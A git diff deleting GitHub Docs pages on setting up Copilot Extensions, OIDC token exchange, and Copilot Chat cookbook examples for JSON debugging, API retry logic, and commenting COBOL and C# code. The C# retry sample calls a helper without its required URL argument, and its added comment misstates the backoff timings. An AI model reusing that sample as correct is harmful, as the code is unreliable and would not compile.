a/content/copilot/building-copilot-extensions/setting-up-copilot-extensions.md +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: Setting up Copilot Extensions -intro: 'Follow these steps to start building {% data variables.product.prodname_copilot_extensions_short %}.' -defaultTool: agents -versions: - feature: copilot-extensions -topics: - - Copilot -shortTitle: Set up Copilot Extensions ---- - -This article is designed to help you build an entirely new {% data variables.product.prodname_copilot_extension %}. To instead learn how to quickly build and test a demo {% data variables.product.prodname_copilot_extension_short %} created by {% data variables.product.github %}, see [AUTOTITLE](/copilot/building-copilot-extensions/quickstart-for-github-copilot-extensions). - -{% data reusables.copilot.copilot-extensions.differences-between-agents-and-skillsets-1 %} -For more information about skillsets, see [AUTOTITLE](/copilot/building-copilot-extensions/building-a-copilot-skillset-for-your-copilot-extension/about-copilot-skillsets). -{% data reusables.copilot.copilot-extensions.differences-between-agents-and-skillsets-2 %} - -{% agents %} - -## 1. Learn about {% data variables.product.prodname_copilot_agents_short %} - -{% data variables.product.prodname_copilot_agents_short %} contain the custom code for your {% data variables.product.prodname_copilot_extension_short %}, and integrate with a {% data variables.product.prodname_github_app %} to form the {% data variables.product.prodname_copilot_extension_short %} itself. For more information, see [AUTOTITLE](/copilot/building-copilot-extensions/building-a-copilot-agent-for-your-copilot-extension/about-copilot-agents). - -To successfully build a {% data variables.product.prodname_copilot_agent_short %}, you need to understand how the agent communicates with: - -* The {% data variables.product.prodname_copilot_short %} platform using server-sent events. See [AUTOTITLE](/copilot/building-copilot-extensions/building-a-copilot-agent-for-your-copilot-extension/configuring-your-copilot-agent-to-communicate-with-the-copilot-platform). -* The {% data variables.product.github %} API. See [AUTOTITLE](/copilot/building-copilot-extensions/building-a-copilot-agent-for-your-copilot-extension/configuring-your-copilot-agent-to-communicate-with-github). - -## 2. Review example {% data variables.product.prodname_copilot_agents_short %} and the {% data variables.product.prodname_copilot_extensions_short %} SDK - -To see the previous concepts in practice and learn about agent implementations, review the following example agents and software development kit (SDK), all of which are available in the [`copilot-extensions`](https://github.com/copilot-extensions) organization: - -* [Blackbeard](https://github.com/copilot-extensions/blackbeard-extension) (best starting point): A simple agent that responds to requests like a pirate using {% data variables.product.prodname_copilot_short %}'s large language model (LLM) API and special system prompts. -* [{% data variables.product.prodname_github_models %}](https://github.com/copilot-extensions/github-models-extension): A more complex agent that lets you ask about and interact with various LLMs listed on the {% data variables.product.prodname_marketplace %} through {% data variables.product.prodname_copilot_chat_short %}. The {% data variables.product.prodname_github_models %} agent makes use of function calling. -* [Function Calling](https://github.com/copilot-extensions/function-calling-extension): An example agent written in Go that demonstrates function calling and confirmation dialogs. -* [RAG Extension](https://github.com/copilot-extensions/rag-extension): An example agent written in Go that demonstrates a simple implementation of retrieval augmented generation. -* [Preview SDK](https://github.com/copilot-extensions/preview-sdk.js/tree/main): An SDK that streamlines the development of {% data variables.product.prodname_copilot_extensions_short %} by handling request verification, payload parsing, and response formatting automatically. This SDK allows extension builders to focus more on creating core functionality and less on boilerplate code. - -## 3. Build a {% data variables.product.prodname_copilot_agent_short %} - -Using the reference material from the previous steps, plan and build your {% data variables.product.prodname_copilot_agent_short %}. You can choose to implement any of the following options: - -* To avoid building and managing your own LLM deployment, your agent can call the Copilot LLM deployment. See [AUTOTITLE](/copilot/building-copilot-extensions/building-a-copilot-agent-for-your-copilot-extension/using-copilots-llm-for-your-agent). -* To quickly interpret user input and choose from a variety of predefined functions to execute, you can implement function calling in your agent. To learn more, see [How to use function calling with Azure OpenAI Service](https://learn.microsoft.com/en-us/azure/ai-services/openai/how-to/function-calling) in the Azure OpenAI documentation and [Function calling](https://platform.openai.com/docs/guides/function-calling) in the OpenAI documentation. - -## 4. Deploy your {% data variables.product.prodname_copilot_agent_short %} - -To make your {% data variables.product.prodname_copilot_agent_short %} accessible to the {% data variables.product.prodname_copilot_short %} platform and {% data variables.product.github %}, you need to deploy it to a server that is reachable by HTTP request. See [AUTOTITLE](/copilot/building-copilot-extensions/creating-a-copilot-extension/configuring-your-server-to-deploy-your-copilot-agent). - -## 5. Create a {% data variables.product.prodname_github_app %} and integrate it with your {% data variables.product.prodname_copilot_agent_short %} - -To create a {% data variables.product.prodname_copilot_extension_short %}, you need to create and configure a {% data variables.product.prodname_github_app %}, then integrate it with your {% data variables.product.prodname_copilot_agent_short %}. See [AUTOTITLE](/copilot/building-copilot-extensions/creating-a-copilot-extension/creating-a-github-app-for-your-copilot-extension) and [AUTOTITLE](/copilot/building-copilot-extensions/creating-a-copilot-extension/configuring-your-github-app-for-your-copilot-agent). - -## 6. Choose the availability of your {% data variables.product.prodname_copilot_extension_short %} - -Choose one of two visibility levels for your {% data variables.product.prodname_copilot_extension_short %}: -* **Public:** Any user or organization account with the installation page link for the extension can install it. -* **Private:** Only the user or organization account that created the extension can install it. - -If you make your {% data variables.product.prodname_copilot_extension_short %} public, you can then choose to list it on the {% data variables.product.prodname_marketplace %}. - -To learn how to change the visibility of your {% data variables.product.prodname_copilot_extension_short %} and list it on the {% data variables.product.prodname_marketplace %}, see [AUTOTITLE](/copilot/building-copilot-extensions/managing-the-availability-of-your-copilot-extension). - -## Next steps - -To learn how to use your {% data variables.product.prodname_copilot_extension_short %}, see [AUTOTITLE](/copilot/using-github-copilot/using-extensions-to-integrate-external-tools-with-copilot-chat). - -{% endagents %} - -{% skillsets %} - -## 1. Learn about {% data variables.product.prodname_copilot_skillsets %} - -{% data variables.product.prodname_copilot_skillsets %} contain the custom code for your {% data variables.product.prodname_copilot_extension_short %}, and integrate with a {% data variables.product.prodname_github_app %} to form the {% data variables.product.prodname_copilot_extension_short %} itself. - -Unlike {% data variables.product.prodname_copilot_agents_short %}, {% data variables.product.prodname_copilot_skillsets_short %} handle the logic behind prompt crafting, function evaluation, and response generation, making them an ideal choice for developers seeking quick and effective integrations with minimal effort. For more information, see [AUTOTITLE](/copilot/building-copilot-extensions/building-a-copilot-skillset-for-your-copilot-extension/about-copilot-skillsets). - -## 2. Build a {% data variables.product.prodname_copilot_skillset_short %} - -To explore an example of a skillset implementation, see the [skillset-example](https://github.com/copilot-extensions/skillset-example) repository in the [`copilot-extensions`](https://github.com/copilot-extensions) organization. - -To build a skillset, see [AUTOTITLE](/copilot/building-copilot-extensions/building-a-copilot-skillset-for-your-copilot-extension/building-copilot-skillsets). - -## 3. Deploy your {% data variables.product.prodname_copilot_skillset_short %} - -To make your {% data variables.product.prodname_copilot_skillset_short %} accessible to the {% data variables.product.prodname_copilot_short %} platform and {% data variables.product.github %}, you need to deploy it to a server that is reachable by HTTP request. See [AUTOTITLE](/copilot/building-copilot-extensions/creating-a-copilot-extension/configuring-your-server-to-deploy-your-copilot-agent). - -## 4. Create a {% data variables.product.prodname_github_app %} and integrate it with your {% data variables.product.prodname_copilot_skillset_short %} - -To create a {% data variables.product.prodname_copilot_extension_short %}, you need to create and configure a {% data variables.product.prodname_github_app %}, then integrate it with your {% data variables.product.prodname_copilot_skillset_short %}. See [AUTOTITLE](/copilot/building-copilot-extensions/creating-a-copilot-extension/creating-a-github-app-for-your-copilot-extension) and [AUTOTITLE](/copilot/building-copilot-extensions/creating-a-copilot-extension/configuring-your-github-app-for-your-copilot-agent). - -## 5. Choose the availability of your {% data variables.product.prodname_copilot_skillset_short %} - -Choose one of two visibility levels for your {% data variables.product.prodname_copilot_extension_short %}: -* **Public:** Any user or organization account with the installation page link for the extension can install it. -* **Private:** Only the user or organization account that created the extension can install it. - -If you make your {% data variables.product.prodname_copilot_extension_short %} public, you can then choose to list it on the {% data variables.product.prodname_marketplace %}. - -To learn how to change the visibility of your {% data variables.product.prodname_copilot_extension_short %} and list it on the {% data variables.product.prodname_marketplace %}, see [AUTOTITLE](/copilot/building-copilot-extensions/managing-the-availability-of-your-copilot-extension). - -## Next steps - -To learn how to use your {% data variables.product.prodname_copilot_extension_short %}, see [AUTOTITLE](/copilot/using-github-copilot/using-extensions-to-integrate-external-tools-with-copilot-chat). - -{% endskillsets %} diff --git a/content/copilot/building-copilot-extensions/using-oidc-with-github-copilot-extensions.md b/content/copilot/building-copilot-extensions/using-oidc-with-github-copilot-extensions.md deleted file mode 100644 index a9f49478f8ae..000000000000 --- a/content/copilot/building-copilot-extensions/using-oidc-with-github-copilot-extensions.md +++ /dev/null @@ -1,176 +0,0 @@ ---- -title: Using OIDC with GitHub Copilot Extensions -intro: >- - Learn how to use OpenID Connect (OIDC) with your {% data - variables.product.prodname_copilot_extension_short %} to enhance security. -versions: - feature: copilot-extensions -topics: - - Copilot -shortTitle: Using OIDC -type: how_to -redirect_from: - - /copilot/building-copilot-extensions/using-oidc-with-copilot-extensions ---- - -## About OpenID Connect (OIDC) for {% data variables.product.prodname_copilot_extensions_short %} - -OpenID Connect (OIDC) allows {% data variables.product.prodname_copilot_extensions_short %} to exchange short-lived tokens directly from their cloud provider instead of storing long-lived {% data variables.product.github %} credentials. This feature enables both Copilot agents and skillsets to more securely authenticate users and access cloud resources. - -## Overview of OIDC - -{% data variables.product.prodname_copilot_extensions_short %} often need to access third-party resources or APIs on behalf of users. Traditionally, this required storing {% data variables.product.github %} tokens as secrets and making additional API calls to map these tokens to user identities in your system. With OIDC, your extension can request short-lived access tokens directly from your authentication service by exchanging {% data variables.product.github %} identity information. - -When enabled, {% data variables.product.github %}'s OIDC provider automatically generates a token containing claims about the user and the request context. Your authentication service can validate these claims and exchange them for an access token scoped specifically for your service. - -Using OIDC is especially valuable for {% data variables.product.prodname_copilot_short %} skillsets development because it allows you to leverage your existing API endpoints without maintaining separate {% data variables.product.github %}-specific endpoints. Instead of duplicating endpoints to accept {% data variables.product.github %} tokens, you can use OIDC to translate {% data variables.product.github %} identities into your service’s native authentication tokens. - -## Benefits of using OIDC - -By implementing OIDC token exchange in your {% data variables.product.prodname_copilot_extension_short %}, you can: - -* Avoid storing long-lived {% data variables.product.github %} tokens or maintain a mapping between {% data variables.product.github %} and your service's identities. -* Use short-lived tokens that automatically expire and can be scoped specifically to your service's needs. -* Avoid making additional calls to {% data variables.product.github %}'s API to validate tokens and fetch user information. -* Enable direct integration for {% data variables.product.prodname_copilot_short %} Skills with your existing APIs without maintaining separate endpoints for {% data variables.product.github %}. -* Reuse existing API endpoints by translating {% data variables.product.github %} authentication into your service's native tokens. - -## Token exchange flow - -The following outlines how the {% data variables.product.prodname_copilot_extensibility_platform_short %} exchanges an OIDC token for an access token to authenticate requests to your extension. - -### Initial request - -1. The user sends a message to your {% data variables.product.prodname_copilot_extension_short %}. -1. GitHub generates an OIDC token containing user identity information. -1. GitHub calls your token exchange endpoint with the OIDC token. -1. Your service validates the token and returns an access token. -1. GitHub includes your access token in the request to your extension. - -```http request -# HTTP header -Authorization: Bearer <your-service-token> -X-GitHub-Token: <github-token> -``` - -### Subsequent requests - -1. {% data variables.product.github %} caches your access token for up to 10 minutes. -1. The cached token is reused for subsequent requests. -1. If the token expires or becomes invalid, {% data variables.product.github %} requests a new one. - -## Understanding OIDC tokens - -The OIDC token from {% data variables.product.github %} is a JWT containing claims about the user and request context: - -```json -{ - "jti": "<unique-token-id>", - "sub": "<github-user-id>", - "aud": "<your-client-id>", - "iss": "https://github.com/login/oauth", - "nbf": 1632492967, - "exp": 1632493867, - "iat": 1632493567, - "act": { - "sub": "api.copilotchat.com" - } -} -``` - -## Setting up OIDC for your extension - -There are three steps to setting up OIDC for your extension. -1. [Configure your token exchange endpoint](#configure-your-token-exchange-endpoint). -1. [Enable OIDC in your Copilot extensions settings](#enable-oidc-in-your-copilot-extensions-settings). -1. [Validate OIDC tokens](#validate-oidc-tokens). - -### Configure your token exchange endpoint - -Create an endpoint in your service that conforms to the [RFC 8693 OAuth 2.0 Token Exchange](https://www.rfc-editor.org/rfc/rfc8693.html). -This endpoint should: -* Accept `POST` requests with the following form-encoded parameters: - - ```http request - grant_type=urn:ietf:params:oauth:grant-type:token-exchange - &resource=<https://your-service.com/resource> - &subject_token=<github-jwt-token> - &subject_token_type=urn:ietf:params:oauth:token-type:id_token - ``` - -* Return a JSON response with your service's access token: - - ```json - { - "access_token": <"your-service-token">, - "Issued_token_type":"urn:ietf:params:oauth:token-type:access_token", - "token_type": "Bearer", - "expires_in": 3600 - } - ``` - -* Return an error response when validation fails: - - ```json - { - "error": "invalid_request" - } - ``` - -### Enable OIDC in your {% data variables.product.prodname_copilot_extension_short %}'s settings - -In your {% data variables.product.prodname_copilot_extension_short %}'s configuration, enable OIDC: - -{% data reusables.apps.settings-step %} -{% data reusables.apps.enterprise-apps-steps %} -1. To the right of the {% data variables.product.prodname_github_app %} you want to configure for your {% data variables.product.prodname_copilot_extension_short %}, click **Edit**. -1. In the left sidebar, click **{% data variables.product.prodname_copilot_short %}**. -1. Under **OpenID Connect Token Exchange**, check **Enabled**. -1. In the **Token exchange endpoint** field, input your token exchange URL. -1. In the **Request header key** field, input the header key for your service's token. The default is `Authorization`. -1. In the **Request header value** field, input the header value format. The default is `Bearer ${token}`. - -### Validate OIDC tokens - -Your token exchange endpoint should validate the {% data variables.product.github %} OIDC token by following the steps below: -1. Fetch the JSON Web Key Set (JWKS) from https://github.com/login/oauth/.well-known/openid-configuration. -1. Verify the token signature. -1. Validate required claims. - * `aud`: Audience. Your {% data variables.product.prodname_copilot_extension_short %}'s client ID. - * `sub`: Subject. The {% data variables.product.github %} user ID making the request. The response is limited to data that the user has permissions to access. If the user has no permissions `400 Bad Request` is shown. - * `iat`: Issued At. The timestamp when the token was issued. It is typically a timestamp in the past but represents the exact moment the token was created. - * `nbf`: Not Before. The timestamp before which the token is not valid. This should be a timestamp in the past. - * `exp`: Expiration Time. The timestamp when the token expires. This should be a timestamp in the future. - * `act`: Actor. The acting entity in delegated access. This should be a constant string. - -## Troubleshooting - -The following sections outline common problems and best practices for implementing OIDC for your {% data variables.product.prodname_copilot_extension_short %}. - -### Token validation errors - -* Ensure you're using the correct JWKS endpoint. -* Verify that all the required claims are present and valid. -* Check that timestamps (`iat`, `nbf`, and `exp`) are within valid ranges. - -### Token exchange failures - -* Return `HTTP 400` for invalid tokens. -* Return `HTTP 403` if the user lacks the necessary permissions. -* If {% data variables.product.github %} receives a 403 response, it will retry the request with a new token. - -### Performance issues - -* Implement efficient token validation to minimize latency. -* Use appropriate token expiration times (recommended: 10 minutes or less). -* Consider caching implications for high-traffic extensions. - -### Best practices - -* Scope tokens to the minimum required permissions. -* Implement proper error handling and logging. -* Monitor token exchange patterns for security anomalies. -* Keep tokens short-lived to minimize security risks. -* Validate all claims before issuing access tokens. -* Consider implementing rate limiting on your token exchange endpoint. -* Use HTTPS for all token exchange communications. diff --git a/content/copilot/copilot-chat-cookbook/debugging-errors/debugging-invalid-json.md b/content/copilot/copilot-chat-cookbook/debugging-errors/debugging-invalid-json.md deleted file mode 100644 index bc46ccee7ba6..000000000000 --- a/content/copilot/copilot-chat-cookbook/debugging-errors/debugging-invalid-json.md +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: Debugging invalid JSON -shortTitle: Debug invalid JSON -intro: '{% data variables.product.prodname_copilot_chat_short %} can identify and resolve syntax errors or structural issues in JSON data.' -redirect_from: - - /copilot/example-prompts-for-github-copilot-chat/debugging-errors/debugging-invalid-json -versions: - feature: copilot -category: - - 'Debugging code' -complexity: - - Intermediate -octicon: bug -topics: - - Copilot ---- - -When working with JSON data, you may encounter issues such as trailing commas, mismatched braces, or incorrect data types that make the JSON invalid. {% data variables.product.prodname_copilot_chat %} can help you debug and fix these errors by suggesting corrections to fix invalid JSON. - -## Example scenario - -Consider a scenario where an application consumes JSON data from an API, but the response fails to parse due to invalid formatting. You receive the error message: - -```bash -Error: Parse error -----------------------^ -Expecting 'STRING', 'NUMBER', 'NULL', 'TRUE', 'FALSE', '{', '[', got 'undefined' -``` - -Below is the JSON data that caused the error: - -```json -{ - "location": "San Francisco", - "current_weather": { - "temperature": 18, - "unit": "Celsius", - "conditions": "Cloudy - }, - "forecast": { - "day": "Monday", - "high": 22, - "low": 15, - "precipitation": 10 - } -} -``` - -## Example prompt - -`Why is my JSON object invalid and how can I fix it?` - -## Example response - -{% data reusables.copilot.example-prompts.response-is-an-example %} - -{% data variables.product.prodname_copilot_short %} might suggest that your JSON is invalid because it's missing a closing quote for the `conditions` value. Here is the corrected JSON: - -```json -{ - "location": "San Francisco", - "current_weather": { - "temperature": 18, - "unit": "Celsius", - "conditions": "Cloudy" - }, - "forecast": { - "day": "Monday", - "high": 22, - "low": 15, - "precipitation": 10 - } -} -``` - -In this example response, {% data variables.product.prodname_copilot_short %}'s suggestions include fixing the closing quote for the `conditions` value, which resolves the JSON parsing error. - -## Further reading - -{% data reusables.copilot.example-prompts.further-reading-items %} diff --git a/content/copilot/copilot-chat-cookbook/debugging-errors/handling-api-rate-limits.md b/content/copilot/copilot-chat-cookbook/debugging-errors/handling-api-rate-limits.md deleted file mode 100644 index f351289ab774..000000000000 --- a/content/copilot/copilot-chat-cookbook/debugging-errors/handling-api-rate-limits.md +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: Handling API rate limits -shortTitle: Handle API rate limits -intro: '{% data variables.product.prodname_copilot_chat_short %} can help handle API rate limits by suggesting code that detects implements retry logic.' -redirect_from: - - /copilot/example-prompts-for-github-copilot-chat/debugging-errors/handling-api-rate-limits -versions: - feature: copilot -category: - - 'Debugging code' -complexity: - - Intermediate -octicon: bug -topics: - - Copilot ---- - -When making requests to APIs, it's common to encounter rate limits that restrict the number of calls you can make within a certain time frame. {% data variables.product.prodname_copilot_chat %} can help you handle these limits by suggesting code to detect rate limit responses and automatically retry requests after a delay. - -## Example scenario - -The following Python code fetches weather data from an external API. If the API has rate limits, requests may fail when limits are exceeded, and your app may need a way to handle these responses gracefully by implementing retry logic. - -```python -from flask import Flask, request -import requests - -app = Flask(__name__) - -WEATHER_API_URL = "https://api.example.com/weather" - -@app.route('/get_weather', methods=['GET']) -def get_weather(): - city = request.args.get('city') - # Simulate an API request to the external weather service - response = requests.get(WEATHER_API_URL, params={"city": city}) - weather_data = response.json() - - return weather_data -``` - -## Example prompt - -`How can I handle API rate limits within get_weather().` - -## Example response - -{% data reusables.copilot.example-prompts.response-is-an-example %} - -{% data variables.product.prodname_copilot_short %} might suggest code that implements a retry mechanism with exponential backoff to limit the frequency of retry attempts. - -For example: - -```python -import requests -from flask import Flask, request -from requests.adapters import HTTPAdapter -from requests.packages.urllib3.util.retry import Retry - -app = Flask(__name__) - -WEATHER_API_URL = "https://api.example.com/weather" - -def requests_retry_session( - retries=3, - backoff_factor=0.3, - status_forcelist=(500, 502, 504), - session=None, -): - session = session or requests.Session() - retry = Retry( - total=retries, - read=retries, - connect=retries, - backoff_factor=backoff_factor, - status_forcelist=status_forcelist, - ) - adapter = HTTPAdapter(max_retries=retry) - session.mount("http://", adapter) - session.mount("https://", adapter) - return session - -@app.route('/get_weather', methods=['GET']) -def get_weather(): - city = request.args.get('city') - try: - response = requests_retry_session().get(WEATHER_API_URL, params={"city": city}) - response.raise_for_status() - weather_data = response.json() - except requests.exceptions.RequestException as e: - return {"error": str(e)}, 500 - - return weather_data -``` - -In this example, {% data variables.product.prodname_copilot_short %}'s suggestions include setting up a retry session that allows the code to automatically retry requests if they fail due to specific status codes (500, 502, 504). The `backoff_factor` gradually increases the delay between retries, helping avoid exceeding the API's rate limit further. - -## Further reading - -{% data reusables.copilot.example-prompts.further-reading-items %} diff --git a/content/copilot/copilot-chat-cookbook/debugging-errors/index.md b/content/copilot/copilot-chat-cookbook/debugging-errors/index.md deleted file mode 100644 index a494da03c22b..000000000000 --- a/content/copilot/copilot-chat-cookbook/debugging-errors/index.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Debugging errors -intro: 'Discover ways that you can use {% data variables.product.prodname_copilot %} to debug errors during development.' -redirect_from: - - /copilot/example-prompts-for-github-copilot-chat/debugging-errors -versions: - feature: copilot -topics: - - Copilot -children: - - /debugging-invalid-json - - /handling-api-rate-limits ---- diff --git a/content/copilot/copilot-chat-cookbook/documenting-code/documenting-legacy-code.md b/content/copilot/copilot-chat-cookbook/documenting-code/documenting-legacy-code.md deleted file mode 100644 index 98752cd69a2e..000000000000 --- a/content/copilot/copilot-chat-cookbook/documenting-code/documenting-legacy-code.md +++ /dev/null @@ -1,149 +0,0 @@ ---- -title: 'Documenting legacy code' -shortTitle: Document legacy code -intro: '{% data variables.product.prodname_copilot_chat_short %} can help with documenting legacy code.' -redirect_from: - - /copilot/example-prompts-for-github-copilot-chat/documenting-code/documenting-legacy-code -versions: - feature: copilot -category: - - 'Documenting code' -complexity: - - Simple -octicon: book -topics: - - Copilot ---- -Working with legacy code can be challenging for developers, especially when the code is complex or not well-documented. In such cases, it can be helpful to use Copilot Chat to explain unclear or complex code to other developers or to document it for future reference. - -## Example scenario - -The block of COBOL below connects to a database and inserts a record. The code lacks documentation, which makes it difficult to understand what it does and how it works. - -```text -IDENTIFICATION DIVISION. -PROGRAM-ID. INSERT-RECORD. - -ENVIRONMENT DIVISION. - -DATA DIVISION. -WORKING-STORAGE SECTION. -01 WS-STATUS-FLAGS. - 05 WS-DB-STATUS PIC X(2). - 88 WS-SUCCESS VALUE "00". - 05 WS-SQLCODE PIC S9(9) COMP. - 05 WS-ERROR-MSG PIC X(50). - -LINKAGE SECTION. -01 LS-PARAMETERS. - 05 LS-PERSON-RECORD. - 10 PERSON-ID PIC 9(6). - 10 PERSON-NAME PIC X(50). - 10 PERSON-AGE PIC 9(3). - 05 LS-RESULT PIC X. - 88 SUCCESS VALUE 'T'. - 88 FAILED VALUE 'F'. - -PROCEDURE DIVISION USING LS-PARAMETERS. - PERFORM INSERT-AND-VALIDATE - GOBACK - . - -INSERT-AND-VALIDATE. - EXEC SQL - INSERT INTO persons (id, name, age) - VALUES (:PERSON-ID, :PERSON-NAME, :PERSON-AGE) - END-EXEC - - IF SQLCODE = 0 - EXEC SQL COMMIT END-EXEC - SET SUCCESS TO TRUE - ELSE - EXEC SQL ROLLBACK END-EXEC - SET FAILED TO TRUE - STRING "DB Error: " SQLCODE - DELIMITED BY SIZE - INTO WS-ERROR-MSG - DISPLAY WS-ERROR-MSG - END-IF - . -``` - -## Example prompt - -We can use a simple prompt to ask {% data variables.product.prodname_copilot_chat_short %} to document the code. - -`Document this code` - -> [!NOTE] If you want the documentation generated in another format like Markdown, you can specify the desired output format in the prompt. For example: `Document this code in Markdown`. - -## Example response - -{% data reusables.copilot.example-prompts.response-is-an-example %} - -Copilot will provide a text overview of the code block, and an updated version with comments explaining the logic and purpose of each section. - -For example: - -```text -***************************************************************** -* Program: INSERT-RECORD -* Purpose: Inserts a person record into the database with -* transaction management and error handling -***************************************************************** - IDENTIFICATION DIVISION. - PROGRAM-ID. INSERT-RECORD. - - ENVIRONMENT DIVISION. - - DATA DIVISION. - WORKING-STORAGE SECTION. -* Status flags and error handling variables - 01 WS-STATUS-FLAGS. - 05 WS-DB-STATUS PIC X(2). *> Database status - 88 WS-SUCCESS VALUE "00". *> Success flag - 05 WS-SQLCODE PIC S9(9) COMP. *> SQL return code - 05 WS-ERROR-MSG PIC X(50). *> Error message - - LINKAGE SECTION. -* Input/Output parameters - 01 LS-PARAMETERS. - 05 LS-PERSON-RECORD. - 10 PERSON-ID PIC 9(6). *> Person ID - 10 PERSON-NAME PIC X(50). *> Person name - 10 PERSON-AGE PIC 9(3). *> Person age - 05 LS-RESULT PIC X. *> Operation result - 88 SUCCESS VALUE 'T'. *> Success flag - 88 FAILED VALUE 'F'. *> Failure flag - - PROCEDURE DIVISION USING LS-PARAMETERS. - PERFORM INSERT-AND-VALIDATE - GOBACK - . - -***************************************************************** -* Handles database insertion with transaction management -***************************************************************** - INSERT-AND-VALIDATE. - EXEC SQL - INSERT INTO persons (id, name, age) - VALUES (:PERSON-ID, :PERSON-NAME, :PERSON-AGE) - END-EXEC - - IF SQLCODE = 0 - EXEC SQL COMMIT END-EXEC *> Commit if successful - SET SUCCESS TO TRUE - ELSE - EXEC SQL ROLLBACK END-EXEC *> Rollback if failed - SET FAILED TO TRUE - STRING "DB Error: " SQLCODE - DELIMITED BY SIZE - INTO WS-ERROR-MSG - DISPLAY WS-ERROR-MSG - END-IF - . -``` - -## Further reading - -{% data reusables.copilot.example-prompts.further-reading-items %} diff --git a/content/copilot/copilot-chat-cookbook/documenting-code/explaining-complex-algorithms-or-logic.md b/content/copilot/copilot-chat-cookbook/documenting-code/explaining-complex-algorithms-or-logic.md deleted file mode 100644 index 2ed0c08f8dd3..000000000000 --- a/content/copilot/copilot-chat-cookbook/documenting-code/explaining-complex-algorithms-or-logic.md +++ /dev/null @@ -1,171 +0,0 @@ ---- -title: 'Explaining complex algorithms or logic' -shortTitle: Explain complex logic -intro: '{% data variables.product.prodname_copilot_chat_short %} can help add clear and concise documentation on complex algorithms or logic.' -redirect_from: - - /copilot/example-prompts-for-github-copilot-chat/documenting-code/explaining-complex-algorithms-or-logic -versions: - feature: copilot -category: - - 'Documenting code' -complexity: - - Intermediate -octicon: book -topics: - - Copilot ---- - -There may be times where you need to explain complex algorithms or logic in your code. This can be challenging, especially when you're trying to make it understandable to others. {% data variables.product.prodname_copilot_chat_short %} can help you with this task by providing you with suggestions on how to explain the algorithm or logic in a clear and concise manner. - -## Example scenario - -In the C# code below, we have a method which fetches data, retries if there's an error, and updates a status label. You might want to explain, in comments in the code, how the method works and how it handles retries and cancellations. - -```csharp -private static readonly HttpClient _client = new HttpClient(); - -public async Task<string> FetchDataFromApiWithRetryAsync(string apiUrl, CancellationToken cancellationToken, int maxRetries, int cancellationDelay, Label statusLabel) -{ - var retryCount = 0; - using var cts = CancellationTokenSource.CreateLinkedTokenSource(cancellationToken); - - while (retryCount < maxRetries) - { - try - { - cts.CancelAfter(cancellationDelay); - return await FetchDataFromApiAsync(cts.Token, statusLabel); - } - catch (Exception ex) when (!(ex is OperationCanceledException)) - { - if (retryCount < maxRetries - 1) { - retryCount++; - int delay = (int)Math.Pow(2, retryCount) * 1000; - await Task.Delay(delay, cancellationToken); - UpdateStatusLabel($"Retrying ({retryCount}/{maxRetries})...", statusLabel); - } else { - throw new Exception($"Failed to fetch data after {maxRetries} retries: {ex.Message}", ex); - } - } - } - - throw new OperationCanceledException("The operation was cancelled.", cts.Token); -} - -private async Task<string> FetchDataFromApiAsync(string apiUrl, CancellationToken cancellationToken, Label statusLabel) -{ - UpdateStatusLabel("Fetching data...", statusLabel); - - HttpResponseMessage response = await _client.GetAsync(apiUrl, cancellationToken); - response.EnsureSuccessStatusCode(); - string data = await response.Content.ReadAsStringAsync(); - - UpdateStatusLabel("Data fetched.", statusLabel); - return data; -} - -private void UpdateStatusLabel(string message, Label statusLabel) -{ - if (statusLabel.InvokeRequired) { - statusLabel.BeginInvoke(new Action<string, Label>(UpdateStatusLabel), message, statusLabel); - } else { - statusLabel.Text = message; - } -} -``` - -## Example prompt - -We can ask {% data variables.product.prodname_copilot_chat_short %} to make this code easier to understand using comments. - -`Add comments to this code to make it more understandable` - -## Example response - -{% data reusables.copilot.example-prompts.response-is-an-example %} - -{% data variables.product.prodname_copilot_short %} responds with an overview of the update it suggests, and the code snippet with the comments added: - -```csharp -// Shared HttpClient instance for making HTTP requests (best practice for reuse) -private static readonly HttpClient _client = new HttpClient(); - -/// <summary> -/// Fetches data from an API with retry mechanism and timeout functionality -/// </summary> -/// <param name="apiUrl">The URL to fetch data from</param> -/// <param name="cancellationToken">Token to cancel the operation</param> -/// <param name="maxRetries">Maximum number of retry attempts</param> -/// <param name="cancellationDelay">Timeout duration in milliseconds</param> -/// <param name="statusLabel">UI label to show status updates</param> -public async Task<string> FetchDataFromApiWithRetryAsync(string apiUrl, CancellationToken cancellationToken, int maxRetries, int cancellationDelay, Label statusLabel) -{ - var retryCount = 0; - // Create a linked cancellation token that combines user cancellation and timeout - using var cts = CancellationTokenSource.CreateLinkedTokenSource(cancellationToken); - - while (retryCount < maxRetries) - { - try - { - // Set timeout for this attempt - cts.CancelAfter(cancellationDelay); - return await FetchDataFromApiAsync(cts.Token, statusLabel); - } - catch (Exception ex) when (!(ex is OperationCanceledException)) - { - // If not the last retry attempt, implement exponential backoff - if (retryCount < maxRetries - 1) { - retryCount++; - // Exponential backoff: 2^retryCount seconds (1s, 2s, 4s, 8s, etc.) - int delay = (int)Math.Pow(2, retryCount) * 1000; - await Task.Delay(delay, cancellationToken); - UpdateStatusLabel($"Retrying ({retryCount}/{maxRetries})...", statusLabel); - } else { - // If all retries failed, throw exception with details - throw new Exception($"Failed to fetch data after {maxRetries} retries: {ex.Message}", ex); - } - } - } - - // This is reached if maxRetries is 0 or some other unexpected case - throw new OperationCanceledException("The operation was cancelled.", cts.Token); -} - -/// <summary> -/// Makes the actual API call to fetch data -/// </summary> -private async Task<string> FetchDataFromApiAsync(string apiUrl, CancellationToken cancellationToken, Label statusLabel) -{ - UpdateStatusLabel("Fetching data...", statusLabel); - - // Perform HTTP GET request with cancellation support - HttpResponseMessage response = await _client.GetAsync(apiUrl, cancellationToken); - response.EnsureSuccessStatusCode(); // Throws if response is not successful - string data = await response.Content.ReadAsStringAsync(); - - UpdateStatusLabel("Data fetched.", statusLabel); - return data; -} - -/// <summary> -/// Updates UI label text safely across threads -/// </summary> -/// <param name="message">The message to display</param> -/// <param name="statusLabel">The label control to update</param> -private void UpdateStatusLabel(string message, Label statusLabel) -{ - // Check if we need to invoke on UI thread - if (statusLabel.InvokeRequired) { - // Use BeginInvoke to update label on UI thread - statusLabel.BeginInvoke(new Action<string, Label>(UpdateStatusLabel), message, statusLabel); - } else { - // Direct update if already on UI thread - statusLabel.Text = message; - } -} -``` - -## Further reading - -{% data reusables.copilot.example-prompts.further-reading-items %} diff --git a/content/copilot/copilot-chat-cookbook/documenting-code/explaining-legacy-code.md 